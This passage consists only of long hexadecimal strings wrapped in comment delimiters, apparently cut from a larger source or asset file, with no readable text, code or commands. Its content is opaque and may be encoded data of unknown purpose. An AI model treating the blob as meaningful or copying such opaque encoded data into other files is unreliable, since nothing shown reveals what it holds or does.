4b0d4daa7c8fdef3e2d1348e9fbb266332a210db5508f71f54107e3fced8d3c535b6498e8feda3efcd4363a8ee803b9839c474e78a9cbbc1f1e014c33dfc052f0b88d645d952fe0053a193545c682e036f66ea2e244f27f3e74c9b9cbfd470daf47be09883e807f97b5d750e9d137b9f9c1dc04980974599bdae5590859fb08b4f80afa27e6ca47d7058a9772efec0acdff11a4aec2a606d3c3436864f8a8adc80ac7700dfb89c6773c7c4b9587df51167bb878726c6fffe7af92cfa69ef5ba298f413e7d62da8b1268d4a21b72a04dda8ac9e91f372a720e90b4e7970588e792ea496320c6e411810b234420e16759ebe1657716b66de594106fee9b16512a5bce057093f2179a1951a5001474d0e8583a3cd9d742b5c578b20c39cda386e961d1ca99c3ab2e36473ee108b752000563ca018a2083cf2f8b507638e0ebd6faa025c75ee0e9cd2f09bb3558a0a02b8c12284517f2910931193f3bd0fc11ca6400d1ab6bf9054eb402fb9c8c2cb996ba1ca0a38e21007f4d8398283854165c72081b93c3cfbc911ce70c710ee964029b87cce41e33d687539995469ec1ecce70efdb0f273fba6f6bb06ecd1ae7ef3519dbad5ed99fd8ec9c99d269393303568c084e382b31d5ef250c68f4f64f710577980503125004fc6c8b5d9d5c8221cd7dcb4534005481837fffeb1087f89c186d7ff5eccbf1f6773c746a9dddb29941f5f3a1913ce61de64225c00db23b54bbba11ffccf4d8d94b90219ef11a5bb9aff47c7999421a09e6551b1b1a68d7cdae38de25e913ff84050264d78d41f53fe207df021cf4fd980b447c85ccd116ea55bb77fdc871e878ad5f61dca28224eb2917fabf53420ac7f6981013633ffdad39f4071f7bdc49ec0fb9de704eb34f80c5f9655c9e0244c947ca989e9db2eb630ed180915639d078a5a7d20c84e08d1268e7b37813803eaef009d95fb5c68ac7fb9df2d2b0fdab7d9abbb2bd1f01f238fc2c521469fb8db734d139d4fa8d562821ebfd0ca5e7c4fefef7dcd91db051a0ab158c92329e14271e8cfdc426c12c8b54264e2df0373e0f567c860d5d6c06daeb947720e10f377bc0b10271008a4c4ab537ac4b496917e28e7bf85a9cfe7047b31872d70b60ac24b3aacc64d12b618ba26880344e1952ac77e7750938fab94b6a8c176b51c3ebd121291475c9504e5902b415f68112af079491b4c239b997228185062279ad91b1f91028065b4d6f23192766b6cb6a74936464755ec4ad85e66893c52d48dc03a5040e00d7ba8271c58b05f268b34404923bca629659a009fea03ce78adc35e754bb16e81ccf036014aa220562e301c876d6c84661c10a75c15c7d2ac82c50c01d90a02d947544bb5ec2eb5e5caa7488062fa11d31d1f8572c3fb379e571646ceb23e408e85d37718a2b594af3dff*/
/*79080733f044086121a1d4b11a90628dd20aaed8857672738ee0772596d57d162f9d583efc434d24b693836f925c7b88f6060b6dabfcc79e52c695f90a5ea814e0ef6b3ea24a2f27db209e8ac92c15f67749d7bc7d3b86a91b90bb6f708e9ca20234697eaf6a11d5926adeb9d5bb76e77bd16010bd4c8a6733783453f02d032348c77f6842a9d70c4d568d04ba69ef12ca5803ea5f05722e1f60c51b7d49c67b24b1f440742204e982a36434e26e862e6459fed8ea2cc309760859b899451dcc261e783f4e056aaeda888e721b8d931aac9bf8bfea80a4b9b8fc81d2d95eccfb17513d6acb2856d922d41882928a4483e78bfabb66996d1eb0901d304a515215a4a3baaae9039b52e12db096defd79e11467e6c2dcb8531c8760135904d5d315ea6c3e2f834bf7828cc07db8014e57cc267ce251cfc166d2420e009168a8e07ba1d260316edf8a3fc58ef54c953eaa982a93a15573543fbab479a261239c72a3eb79c956c0a4863231e144f7cb64bf0975557d4592321996b9da5294fe68e966e57a8cc29badb2f5015a627c22abebe537d353cc558c9d77681f7d916877e98cf8eb36d6494bb7af2c40c400ca618916a6a0952cbc104a69c8faabac9439d7e398a6cd691870eefe4d3c06f422262c586cdb1f1771758b2d77133f16250f33bb3ee5c1d6301ad4c1d1829eee2783550af3622109c532a2cffd7ed3ae66b4f4c6e52078de7dd25804558bea472e85ca652a8c405c8c52023f938373bf87cfbc4eadc795acec542aa3631e941bf64a1d03ff1aacea6eb8273912319b68a95198f8de68ebc586803e1e6d605a93cfb98aef6db5bdcb349d57308798f33118361f85dfd77b8f7e0175fe76e1b3b84a6f6d4f27b4266cf1c4c59ebc95502e52634724a011e2e61cb530d746c226e8428bef74ee4b3126dc7bbce6a0b2ba2e9a9c1f14d621d6bf90a5d813e27ece66068e2ce65c8150fcec2722b4605de0dfa062a94b835d85f76ac3a553628e9729c598a57caf8f39ca9d4376a90642f61424d2c12ad19a3a8b7d8edc05c2c582c73c1c7e1f1ef65f11da79791638c10ef786828d50c13d989c3693c57005b42bee39bb01401fdd80675ead971b7f32ee82fa2b73186a189d1338fb9ec6ac9b87860d1e4110655bb7ca82970a373c5e52d246d2d521f4d31a9d4684987e8122bb4109bc0fb4f7bbdf171497d7a6733574115f1374626292fd56766757ddd7581b87cfe10a0e32645c64dbf5bc54f93ca30e02ea882904a27604a675daacbff7c8f6322dbd318800968f3ec9fbb45bbca67e9c2423aa95139c4ad9f6f5b170efadec23df66664d079282eddb9997cdf9ee2b940179d27f9de47136f68f7ad36ce1a719091e580e838ed66f2f1861b27f76c5660b3f9e7fd4fed618bb12d0c896c6c4c446c6a812e3c508b4eeac92225f991e1929e01d0904329fbe24b396febf4ee9b088007c2a04f0ae689db8dda7e53922b72d4a1006ca96b06572af65ca557eae9ce61df327dc2e3f5547a279c43350319d0a744df24aa8cbf996212445b2b5bf040e2c2a6bb56725b6cdce4949cfccd641d70b556dbbdb6287aab5ce9321e54b086d46f14b038f062ead75044d26f61128326ce6586d2c3c5c96d1172f673a72863e9e7aeca493389f6b12cd43a54be8086374dc9d652cc0fd71baf1adaf043b3ca00da4faf427e15e7532c287ace58c6386dff13cabed07178b9d403ad7d133c34dea7ed82622c660ab62b3569baaf8c0718f9def35a41cf75703a56199dc6a3b18a01a4e0836c9ed1e0d71a57b3efb90e43a1e346223e52e3f562d4e0a233d74de97cfa87d99132d511fb6f1287e1bd49d7292e0c1765bca20b73d78d24d816fd2ea74a6593b0c2d4d12c317f1186ebb8258b2e10c435df90b94f8ba47fb2add4658d730503c7acb71261a391cf2aa1b3d57051b6224bf4bd8969c565f2323ef72182af65fbb72de0ec15976d477bf6f5e1e57bdb3d7c6f4dfecb68a4e2a26a6f5f435ab5898fd251e8579313d909bf3c6410f5475b02da390864e891e128af038b9ae162f88cec3ab94ada14c518475f17bc409b13599145dec254f76a7f12af01a712dfe8bc6047e69c06d9cdea5f39b5299a6d3fde77e1a4f5a7ff381214a64fa9529a5f0466d238ecec449a651c6a219d4f398743aee1a3e10d297ed13834a562873091ae7194fb59025cacb1dfaea9a0ef3916bd7f76bf4b352357d4da7b32c4206ec7b4cb595e2605a026a1cb8399f02ef8cf16aac02dd46421d6745f10da302b3cca88db6132be8979bf05719a0188ce9182cbf69f16b9a108405ca65e92bb33ff9390123ab135bf2baf02a7cc7c94ee547f8c96bb09c3de2ad83adfb8cea4c3ff3593d20ab75d09d6d85fba7bf1d2c82d1456857d37bdca823aa76e06a1652905a68938d7b1208082394179f7484dc067a19411e643e26bcdfd2a4a805cc148f8c631a3f9fb2d7f3ddd7bf821a6ab7afcc3c1eac4e349a288fe0b805346577cfe90c869e929eb6f50db2e65979d0983bdd98febe0c7baef8997292d6b7c3d3a330d8ec3ad77f6396125d52a81f927e3c5a2acb0128177749a82f2829a5b5796c168f4d70f24c10bce630ca9f93c4fd83a21abc0f4b503e8e7272acff0230007e4ef1cd61f52ef8b6f8a234b451b0679e78249b39c2220ca1e2e45a9644ec358a4988acea21ea37ffad49b9bc56b6d1603cf8e24f453e77c6983297c148e4a84ba3ec365751c50a52df5bcd7229c9c4a94527897db5b58df37826cbc749208d802ff4f34bc0ffedf27f77260f14dcba2da41783d800706841ec4fe3b9baecdb*/
/*0abde7c6100a594eb298ea6ca2e7d978e12041c449559916e0209efd4155ab93b2d7886e5030faab694d667964410ced71d96451ae990e040eed5469d973464bf63afc43296f9a1ce8b510f6d5c87a72fd798d35e0afca7e4a5ae7ab094d7356b3b4136a55203335d2565d1bb3d95bb8da9157e6eaeb6fdfd4b6efcf2adf7da634f594ecf08546092285e9e432e927630b3e1ec23b23ef4780f2a6068a177d08bff9131a86ae848031f427cec08ae75874ef355f898370084ae4810f343f3e42905974c34e0767d52dce442303699dfd562e4d44d0a8a826a97b619e02e146d3d9aaf016eac90ce5346135f6262c7865c332fdb6b12c25aa79457072b1c0eabad78b5626a45f0afcafb95770c52548ed4a9180f05190006896868771a7878ca12e9a150f1bef89aa1a04e81d2cfe9993e1fd25440ff022dd4d86533fc35cfc414f9d757cbc6a5df4124adde493bfc42a7d9f0feda3945860f560d29d0241c6d52599874c4febdeae9ea86274c54c383cff69da891652237cafa8a921438b35a68cb173af2a79869c30ce1057b1060672c2bb747686a6de0c4f8f98cfb71004079b348c322b8bae2f149ddfa34185c596327b9913bb2a2a387cba5a79a4a7c7cead1515a7ce58b9daf1ebf097b28038322b40979772aa835a8160b445fba4ff346980ff1ca67cc148bed8accff25f863f2708ae90e19128f305088e9e1ea62cc0202eb0018c925df72497305b2226fda2162bbef56012e240b219a1809e8c3b209449c35e4673ba641a6201caf3adfbbd8e16933ff108e64ebae7ef3b7d3201772b1b3a25c8119b86c6b7fa9506b2a13881cf08884deb29927a5d5e9ca0b6b62f94b79af89be7567725404ec3f6cf52d7c196b6f76621a057a3a9d5dd3ba950a3bd708491de517abbb92ed64a793e4de7d2638844ccd29acfbc4272bdcadcdf4066974356b46e65bbf13f713cebcc73d39a04aa875626cb6ec3ae69be5af8549d7ad40175e823ae3233b5452729727b62c96995e8d10a58316b528c162ac0575965b4d4048ad1294e83f2540388ca5964573095bb129cff0a666ce08490e456f1e5c103fd36c3d0b109576416bfbbb04e665d14bbbcae7dcc72af157bd8806e3522b85824342840447b11a330e86d2e2a5aa2d6e2331afa2a7adfdc93b95927b6cec03973aa6dd2b2715605844691e66d489e609eab6b8ce90b2b85b7ecf2b9ed05148147c5b4a32da826c24afcdbb3288de9ceefa83ea847b0741b58916508a28c8ac78f1d6b9a8e70ba9457c0e75c487267005f9852620585e16a1ae908bd456be494260e7d5b14054353d8648645d3b38ea82d57c82681ed1c91a71383fc8eae75da8cdb938e330756f7a6fbd5f673962e63a11aa83ac9aa431a6c645a0123495a752da0af9ead59489862da88b2d3a6c0bfe3592b0185c2caf30489efe94d5ef4aff12edefbd44e8f6bc9ded0570063d31a580797b45e310a632599149ccabf6e0613cc1e21bd349299c7320e720ba1b10f782808e346136b2b0e165fc4ba6868276cda4624da145516c838319fb4e7cb87826d8b7aca9e8047aaa17a7d872afead2ed5234bf0c40f39756fd6906d2e9aa43440e974197f191b10333509476abca4e1c507e59d701dc2c447e602274def5568735572a8105b770d4134fb7fab2b5dc65e7c9a9ff24e8825311bb25575843115784869854ff0363185426dded9bfa8963d9ae0e1bb8b0797d08bf6c50b8ca45ab834784e767e3554b0517d5a7f5b17adff87563e743b81de61a562d09b05a29238113713feb2ff4d9e4399142884d260cff869ce2187dfd3c3e710d00faeea70243ea32512538b0580cbb843717661ef2797a71bd1afbc566dcef3ef08c36e4ccfc83644aff17dec211b0c63c72529409d45a6370becb9456c711a5c01539abd18c9a9503ed6155a2cc8698954400e43ca74daf43f621adc649f128aaad09358fcb56eb552f33361a50f0bfb3a0789b03de184abce81b3798687747cdaaf69dfd25b98f894f95e43d351315b3766afeb16b8afc6323da6f47af60052f474de956295be6289e820f37730f872783346a66ab20c17674a1934eff4a91da4731a721c9c5b9e49ee7d71c82bb0cb0e088ffbd9631f54cfd758a1cced971989e78f1cca9587182aa9cad79d6f294228a25b9506ee0767f165b9e5a6233a27a213772492338219536232dd7a4e2026c305786e66fe8c34ccdbce6ef1d95510294f575d3e582ba9d0cd1aa0331ebe1a92d311009f3fe8e892648912c9173d601ecfcfcfbe203e388e3a8b5d172de2d63700f51147a766ce5839479a89b15e1296beb730fe95bdafb418090db0c4f2689d0af34672df0e0c180f48577d99e2a7cb2ba29f1ccac059fe37dfc0c066243d672ba16690ce3171a83a05cd59c2903538a18c6c2bc82491d46a2a3f57aca2b47fd6f485edea84de01602bb4806707eff19218fbbd80d77210534acbda712752e142f21609d487d154893ef31b16dcae0730a0c70f2589c57bca24c83999fe26f5f080cabdbac8d97543e79959043230ae3e3a9fc777a04dac61a1952eb12b77c620e9b59259dba812fb3b1c8ef596b908bc645d05b543d2a8243eab511423929004c25bf20faef00e54b7ae196cfa8c7509c7c6f9a90ecba3a347204ea835f014f423d258399fa75c622665139e7fefe3fb65d002309753a0cc1cd7a04033c6155b50b4a4c3cfb7107244acde5f4205c1f38ae732aceb20a430f1997b3b555e72f202bed754f839ff5999b09ea54e63ab562c262ce600cf6088c90482d9e98aac0dfa160ab528b3ab616909d2e141eb*/
/*6e0cd0015ee408d09905efb26575aa7ae7277c34c429804e27465558b58aa7cbdb0e5dc376fa9585e4d01053bdbe334f379f9e895cafe89943522b7028be15397254f4c1158467c856584c0985c96c5cd69c94da1ae8df81a70529411236099df3caf53274a8403bf2f922fc8f57f1750915c33b110ed331ec82a1e630519d00cbaa33effb37a1c11fe2884960c07423718a166605f95fcef3ec00f98e40b0c8898665b238eb660d25938e14311d3b7b2da9376a4285eb37b8e9d9003b8069809925a081bd369a9c63e6d35799f0d016481b6c7f83d53dcefe207913287f7b61a9160194299f2a349a42b9a160b4bf6e8908372d1478dbfdaf9f1793e505ead7fc54e18b668b266a85bcb4a4a4f235938ca6e36576f4db7174bc3daf5d213be3a20516e25d6a6a623d07b3d254957ca10505d644728a5e32b657258395e702b441fbfa2d662b287261e4be061ca03f0dcf0701cc227c4339f2bfbd91c5905c1741e28a6d8c0961d637f0932087f998e388d0058986b09aa3f3009e592a45e5fac8d3bab7e4551d275ce000c363ace3f157ac1e14d091eac81c44917a397a521bec8ae7dedb295274b62d6de3920034aa452a1c5c22a01168bc39c6e91b68fffabe98c1def339fa971f5c4a0cefafe638b96ffa826e5c1575b20d0d7da582bfcf8689e326ca9090e185df4bdbfc8018700e4c02a387726153735682712e20287421167222d5b3398787a4ce1a685b3b19f6a437ae7f7cff352b1ee03b540c6a78ed9856af78adef0465adf95e594e14cf8c0e0f170a547b0d3381efa7c4735306e23993f98315d3c04c11c081ef79bc9ccad68deebd35b5767ed84b0069c4b726e9cbcd76407d61e0cd92f606a760682908a634edc70165a85187ea33d8905ebffa07da5aedee70cd19a3e851984e85d9a8c6c808e627da2ce92b02b336a95291985bd58a19f26ffc88052808a34559ba035d2d223fe21d620d713d0f6baf4b67dd53b910cdba2cb5db41c7db758a33cc6789cebad9a590cb9bc4e1beb3b8a3c2512014eba78de082abe90d86120cc807c2e6f68fb5aa5c416e49565c9b07d58681060571b84664d69417010d0310d82c9da0d5b39fef1e168f615f9d692be4595b0bfd70b2687917d5504c5298308b46994a7a5e6f183c2d7d73638a33315c3e4c3956d0debe7b1627024cb02d911a46aa888faedffb3b7fe43a0abe5831fc7e5d4940a51ccff8c9c245fce31ced3ad6f7b61dbc83f9a65d18bb12565ea590eba79ae5a037fa46d69cb4751508ff4acaed571a3cf9af3ce451bdea0e6d825d33cf75e1d547daf1cbbac7d3f8a83563fb2b7cf555af8a909f2356789edf9190c47441b6b0358e6ad1e3e3b55f895c40050a75be089a0f0477cdfcaf06d92d87624cc6b46d590dd24b1b9bd72bf742e9a23647d6ffeefb79daed11ccfe7123839ad6092786de224a3d1964b99286c6367bf9f1f59a260caa07972fff25ad30264834e41b7ca9fca5090a3924256ee3a9a56ce318a89d1981cfe209f1eea53df8b7cc6b221795b8706655b5c4c70309d40c5e6f1ace63fcfdea8f1a65b653db8d4e1feac7f4f3fdc5f790be08da4b90f6c710499e9b8da1becbf40c8ee2f381825552703491e68428b836887984232473c10f688abecd61c3ef50800c25c3a94c17fe1e78ed302455ff4ff201165b17a6da3b2fdd0330e9bdf10971724e42dddfd9fb8ba8475972017058a160ed1e39567d1f8c164821c63320c101dbbf451a0b85ce11445306b6f7e753dc9099449b6bebddeb23a5f616dc0f7e04cbbfd9d4a0578a9e9c2ba01654cddb8acd904bfc0fae6dbc591dbda41bb804fe522f7f95e8a7b638cfc51f64208f9eb1e508ef1454ea963c660d96da4ffedbd8d785e00ff909f86d8748947630dfbf1f83ed8548bcd3df88a270c806b7067a323de42fd929b4191a66e0cebb47b5b8d31da720e53408184d104c5b26fd69a793f4f264bcdeb91cd2da5a745152a0c598a98c0999881147e2ac722cb86701b45048186621cadd851452062865db6394b8c162e5eda74f9a97d33e6e21be5a07c49ac831226ac3ff6977bf66d8282b6dafbdb1b9577021b011e58d9e4014979c409c158d64f7c77e3b0ad3b73e7aa17475df894a0e736fc22548bca705318247bc98cd7ce4c4a93a5aa74f98f7c202256334b23bad31ddb65f7dc954e9b88cbd5fcc4564e071a240fa62f027aaff9d03e5b49639f00b8e91a4a8b024fa6c2159fe135bd06a950dafe0a6481cbbeeb1f2ada78f611cc24965169f4114f6610a501fa144c37515b43c2ade91cb3af769bf78b348711c324a9b6b4b859cd4a74e07c3679d23aa6e12124cffb0eb900a174442ea43ca8244350b2338a6f6fa46ca7f025e9a551d949cb7d4923c0963694c638899af0c6a8a80b358005db173a23c94478046b3a381991d97c313564f53e1abbb6e2b25597e3276bfe9a734583e9c2102cfdf4532f3f5c1fb71aef476cf80a93f143ca60f0393c75abb27fa8ae261b545341844779ee0c612aa45d0be8458659ec5f798fc64a084e7d100cab6279cf7fc692a9a8bafa5ca778d4e0087561f0090c2defded02e2d5dfdcddf6522526d7b6f3d56a931a46fec655de8a578cbb80f9cbb3ecd4c64582f71edd1120ccec3c9c8126cb2742e69fc24aced0ed940f9c7fb449bcca9de8caf0dece9a45414abe583fba580b26c3c0c304033192d6014fab100099f0c684ae3b44ca8640ed60cf8ffc8a08d6b064aea0ab7191a23a713aeac2c232c30ea9a2ace085b3c11b5dce3500bb41bd897a6faae5d1afb60a8e6cbe2a3dd239a106*/
/*6bbb3ee30c587f4408c2b4a8c0869b3502ef84cefba99d57900c7828872bf02d058ff514458f8f5da6010efd92e778e4b807e8fe8efd535973c3dea8a3fac18da77964bd50d7bd9bb2f0a216aec665d5304426352fe6edf9ca6164e31324304704e58bf7a349a8891c5ef3fbfe51abc2d00af6a1426650054982bd8e6302e4dce8e0863834e5da652aaf269cdc69e6a29d8dbe5bb119d92f83cfc73d42a40a4d1f5f7252bdb84d399dec4dc5f43969bb102ce80f3e44c086d9e2c36fe9d31a0830f30d674cdbec91fe532585669a04d54aa1bd71239b79c02fd3f967d7a1f25e2eda6bcd4623d8f1c3502ae250ebdba74c5176e0dc99a900c587ec8665e6783f82f8eab8c03b7f38e2cbaf5c9bae5adae47698d499b162aaebf1bb319f07ebb8c7bc23f5d815eaf4ba50e49419d3c31bf4b08be1e6203bcbf00e4e552313cdaa32f34df8f76519cecd67212b709b10bcf352a5dae141b8f3120f65cde28871c92976f46400f63ded033cae360f84cb9f6a1f5d11578958689a23382672759b25a942a159f973df4689ed905019ea49e7db148120fc39ff25f9eae3e913c6d0594a87ec4ba822d6420e7745193c1108c53cb372a7d4f70de7c7b337d46da561a16c39deb89e191f94cf2d201e7e408fd7786c0c6e910618cb2b00bea4e57e33390e1afe698b5b5ec7306fcc460b1adb7a7e8498562289089b458e9a86f0865a86feeb095d4963337b332ffb213f2aaca3461f6a1e23a2910c5f51daa5688506b1077875a5b9dec917bf15af21cc5119a648e090ad7090ade4ae41ee6fa0ac5c9b619e1c35e97d512d21dd686e56426110f4d770fa95f03bafddc03115486b591191620bfabfae2362574d8d3b6220c441a6efdc39ef1edd2295ee258d95b718899e31844657ba0c0e8f1e41bda2afe64d5fe4ce6a325d5513f6b456bd9a8bd7ebe7f6c600ee21b922d8a608ee5a03bfb7220e1284b80a09a7632d6a9d62f90cf9ab2e4a2bc94d2f71b0d37df2c0b17bebd0c54e8a86d39de892c310b5b45bd5d39e36876277c6ffc90d4f34bf86338a0d81eb4b8f8bd76d3a7697ab6634a0f0c67958c51a70cf39e932eca192a143e0cb3c18f45a280dca3b300893705d6b00c9cefed33ba45678651c0d44f910795db4a96691be4b605a0bff07877cd29f13e953af681df9d7e9ae08a4b7dbfbe938cba55e11b8a410cda157780bcad60f1b6f7f85d1e21e2ec0f3505ab9dfe0cc1ba6dee2e31e3dfe29aeeddb0c5cbfe3543bdf9cacf8991dea2a0db651f6f206aa59aa2361101288c7aed02a671d2132f2e8afaf959904a358a8f82f4035adce50e14ae37ebd68134a4826a1b3ac46ef306e0812ca194475fd88223f28463e75272eb6791d1d6073396c443dcb03e6b08235d9d0e613e5e23ee19d36f0bd219b409c1b95081b374781f7b68fa9235fa75d4574505db12b6091c90bb55f7e30eeccb4e4d7760c64e035af9e8743b34bbbe8629215d8415150b8d155782dcc1e7d177d53d84df250ac808d4ea6ded0509cd20d31e23efc594b2df32ee63f8cc7e03299c4e18249e60ae9b4329af2ead251c32e3a02d861c30c15c6995d9b2589e4f32a4c2b1d0f30f752ecc5331f03ada88660becf408cb2ae018a93926bd50c1cbd16e61a4f5da4b1be559f3aa08e402bfb27f541ef958a28dad28272a874592eaf2905563fef99940aa6b4e8004a4322627031382f3a60a19b6679673fda051e1e4a0413e383bacf19e61b74c01eafb87ee9758c80a8c0ac74a1ecbcc703b3789368bd96322e009259d61886321720f9c7b075aea175cd520283681e46e15f04cb9aa59f6185f0ee8b456fee872c6c1c6747fa5dc32e9eb49284196a7f0ad5ccb7764e8f9f38c28e9f5216e02ce86814523cdad9270799ba1c7f926b22281794437c0d63de63e8f36670126f43cf436b48e57f4cc6235a410c5b949d2ed49781e9365fb51759dcf9f77426d659879479ae9cf84bae1ccd6c3eb622106b71a52450cc63678c242b124518d653e5c79fa1cce40945b3f11fad3058de69be2a1510d0861fb81e15646a06701771943fa6cd2c99e4f8bc79538cd254d57d2ff88170319bd0c1b32af3c92134e6a0ffa16619a7b5cd58824e07b9155e45d7ddf371aee1218c71315f8af0368d302098e3e3c1355293613953091b92f68cb82055a0966f212cb1890ba61a0aa50511948322caf123abd56a9b49455a8e77575d1672c53d6ee16c81114af363b43ba66e9a8115cea814c345a14d18066052138c4bdf32b32c00a66b34591b15aa25a9043fe8057aecd59660700db8d10c1bb4ec8b670eba2ce67b8b3fc9d67d8a70e642d484554a13f1c91c7b5ad68b0fb508edae3afd18193cef4d89f782b71b64b49e100b8db35deb87e5fdd3cd320d3dc907f287315cfde0468b84309b89cccf1b3b30acdab5326c7568ec4c2d3e2ad09f5f3e80b467d958f742827de04e5cc337d5c4faa518f568e0c51bbd139416e546557f8d1195500ed0b9f3099b09e525942e9f8ea4e89009a04c3cd884289114cece02c7231195a3bc637cd1c7921d371a22c5669396d214bf633dd7925ec0f102f07160f641b543675addebb3ca0e17d05d5efc721995afbb4db8e3d42e953cfaced70d5fa6b7064745603d22a245c81f104fdff7c96d7a9d657457b4add733e20d95798cf45ff8f724630eb9279dada0cf9e6cf6f72ce43c59786f082ad937b24ec5600bdba1f4e4997d2d671e214710c11329097fb05ad732557d19371a3332f9bee6a62c9b05dd2f3b1172bf530974a24e271ce70e1015afdd67779921b5fb540697270fcd*/
/*cf41142e65415d24d08871706699e3bd41dc727b91294feb3e97251a80b3f7cc5cfba58b65a0c2e8e2f089b3cbd1b1a7daca4ff4c2ca3532298cb53174fd6a738fd0e45266df2cfe3132b39d0da68359773d293196970669afcc5cab72f65e97003b352d100a90e0a36f1000736a902a319c8a466938bd47a7eabf870a459e2275fa74ca56480cfc74e670788ebf36e6cd0c3f5fbe86686d4e9711a1f1b6bb8a1ecd97c7b059ab32425ebea8ef81b3e0d6dc3fe4c4ff428e5bbfe90b3a624d3a09fc285e152f2919c51541fc7e808b6ef81f5069d4c3877a309d4332d8647676e2a568f52392e7d9fef65dabc307d59a6cf58f9facfff5d32a700226b786d71dad1bade716277e36a3b267b8a7619b5b35673466a847d00f19f052289910448db25b1cf37ce8ee5699fdb2ed16d0214e47b9b7ce2d034c0e0fb359f5c7177b15035a3975ebaa919e569cb99342a80d13d5074e02e6dcf30f83b223313a57ad3e4720b65c36a159c462485fa174bfe3f8af35a5a15da0cfa2f4919385ad9eea83e3fbfe1937b27b9637caf880b4f39a89e2258c903dfb1670fb94c1bf6a89f955a70472786363fdeaf22ba8d6d6838fc23f33f97f26c40a68bb24677d5a3606831472b6c65d018d5cbf03e44110f486609145a7aa1bd6b450558002396f77b5cbdf27c681cc65089a9e9aea3070592f1e4266ad0cd539ade2bc2c180dc037bb6b17aa1c830f12d60f014261196746b15391114f31655af7f5185c36286ec016460142f975b8d97fc9db5548a405324e9a8d7c4dfe2f6b4dcf3b2ae8848f349e7aa8138ac3687f9e127372eae89e892d5640fe040bb3b5470bd008be7334abe43e466dde1ada90cdc7b4566f8567959d0908306c0bad568966109abe97847a53fde30052b72659ac9acda98af3c2ff7e6ee885e407505ce0281049737a86045d2a19142b09bc4cd5770dea883be3cfd6893f877bf1d7f152e1b8b91be2c11f455e367be37f907f87caccdacce53ecc0e1fd25779517a926a8d86df0c7dfc249ea7b277c6be964322a790d2ca6f9b21aed5dd50a5f68b992216765c30aee8865d7d134127bd4a117dea1499d41ef5c80e1ba53c2ebfd7600001788078f7badcfe7612ecda927757c60e623800192273b1317935f7819dc07b5a2e6e390f1ee4075e5f7629381f656e12f16bcb73bf3af4824fc2564a780e24a2ab54e0c78edc31020dc5e48b1099a57e57b7b9e1d9046f762cddf744de6e8d85ffa1220a0484ef503db818360d0a0f8fd2a1b9c7e0c4ebaaa3563d0f7cc38da2b75a27621305ad821c5753d71ceb9f9a947e85a3f50ccbdb0aa6726c225422702e5cf50abe2df155943d16032a42c8fb0538c6ecd7cec532ed712e410046f8174558c08f80c06d3991c4458529636b8e6a922ff5e8911a4019dd52bf9c04281323027db4f30b2dc25a1e99840b44b8bb2b2fec00af02c32914b57f98ce7c74e330bc008f568fb21cc645a1615b860a1e07a218fef63cbb4a4c9c17dcef917b6fc1d1f03fe1de8a9eee140e9c38bd25e063a4533bda248a8dacabfe3c110b4d62fddc023b133d50a286624d28651f1a0bec3075592737bea70f99866998795e75275e434413213037689bc38421b97ab0746c1ba46bdfd30930ceec50a63fabda44b82ec587b894feb8a93b1f54146dad5e117f71f0a32e9c616d688b88fe4aa1c76251f3f51041ac5ab7dadc31d8aa564cd562fa520f4b9ed6681728702f596d9c87a2cfc3deee38e10f2b743c8b90b2c3ac0bf1df73f13de25e32d2fdea8af519c039deef256daec81c5bc24bc0f3b15195e5bd5c9c11b643f9c763944667d7c62e0fdd2a242d63ebdbcf4aea52bea9b65ca49171798d31afe5457b1025fcf1d88e9f2583de7c7db504d19f379e02727cc36f7be4df432e11b5d3b196901d1341369916fd85a28554fd35486bdff4f1ed4dfbc72e7625cda08048c183fb40ee368c74b71ee96c041a571831b967b9bdde6ed8cc73bef94a9ac421d37b25596e4e4650c3b20d159fca1e5fd055a1d5b51c375b55a3db63283325df13bdc265d73863af1bd3d50e6b96c5fe0c8eff945d51467699e201eb4ed308d8acda1682f85c0382faa46be9488d19d4a8473956ff2bb4ae300873bdaf6d75f8c9ae39934aa19bab66be000cd8352355fc7fee93e067f0e9247bdb4bb510229863d722b0399076ef7abb83e1330865dbfc1586f7b95abf7c6ae16338a5c52178872a0eadd6b6005dfd49e17f9a2214e771a2db75b123fc1a0db279569724db0306d276a25b57b0597a990fd61ff1abacb04ca72a2d745b9f1bddbc305d2262989cf280605b3102d45cd35f725ca4d4529eb101875c5cb4babef53047853b33025809651553506bb2f86baee42233a76e50673a05882a9584a4b78d16dee57e38b9604bb1b3f31cbd45b5d976dd63e0ed102b9049cf607ea785a427e0f140582c05fbd3ad707cc42c5588dad6c09566918d1a79650509ab3ab6520ba52b5efd6fe49e83b9bb5abcf4e025779d7b24e532a80b4341c4bbe5d0acd1017908365e033c022289d40245a4b2cc05e0d24e2a9e6e135af4464fed448fcec6f059ab17589bf4a5625c639549d0e827687ff8d4439f1fb37593b9ad578667f2fe3f5a48a924d4782a81cf3954a2f3f70690b67523a828970230cc0bd60a1a69adf6a6b6ce76d15c7a8a029efb9204b92de6ed2fcf2cb3697955ea08aa8c5335e212efef2ae16a3f79bab76c3d14cf98e5e79fff39dc312d10b2d9404e4bd6709bde496889e96940f606cea33db3bdc883a22d48b4fb31c6dc0da22ace58ce3f797c*/
/*0cbb4903d0eda4b9fe84b517c351ad1f5a342b27590975cb571961a3a0f118e54f1ebf4a5e44e86b97af1058538adf543842b4187fd360cdff4f04866cd3a7d6f7186dd8af4d337720b820cfed377390bfee72e9fa1fee5566d4c6023c607788e583fe6447933dc25fe68f2063a1c99deac7ebec6a637076668045b3fe1af3eaa7988170b02191ebe3bc2028fa3ad585027d81d9da5dc09865a08f518f110842de68f173982d08261176927dfa6fc2b726ebf7a929945624bdc3c1c4d1fc6d3978709e4c47214c541fe8874dee3a2e32eb2fdfd5679dd66bdb47af5d57e5944ecde364641dd0b93f952bba98a96726d9bd0147523a93a44c02fdaed7fd42d81124c2072bf2dcb1558fda3f916b027da70791a02502e4a0cb4c87821030422b95bf7dafb7f3ddce5738616d0424709bde78cecff5e9663fa1555289047467a4f8407a3915d56eb627261d13a3c92c702e3f7595ac3448ef30de9f9d93b997cde8cc8987c633d37066f95abbe5aaa273303c4aae07511687c3cc864c2f1540253731f1fd5ee2c7916af9a3159db7ebfad625997c1239d843c7ba6ba62a884953a89f4fdebcf3a06af9cde28604a22d56316d0c17521ebefc1194e35fdd1ba3533b4b3828394bb9c06ea4f531bc9783319824d0cec4a4d5d90a78ee12f7428b908a0099117b44a2c28d368230b5959ed1162829eeb56ca67e2c42148711b3e741502c2b68a00a52daad89ae13b137c7d2cf376682d5236fbacb3c0cf94c6cc160ac2016d6cc0a4dcb75c1f824cba801a746bc2e6b45b24371bd3ebf7ae299b9b852c6ef6f837f3cafe79e5709c544146739ffa9775e2ce1c9bd37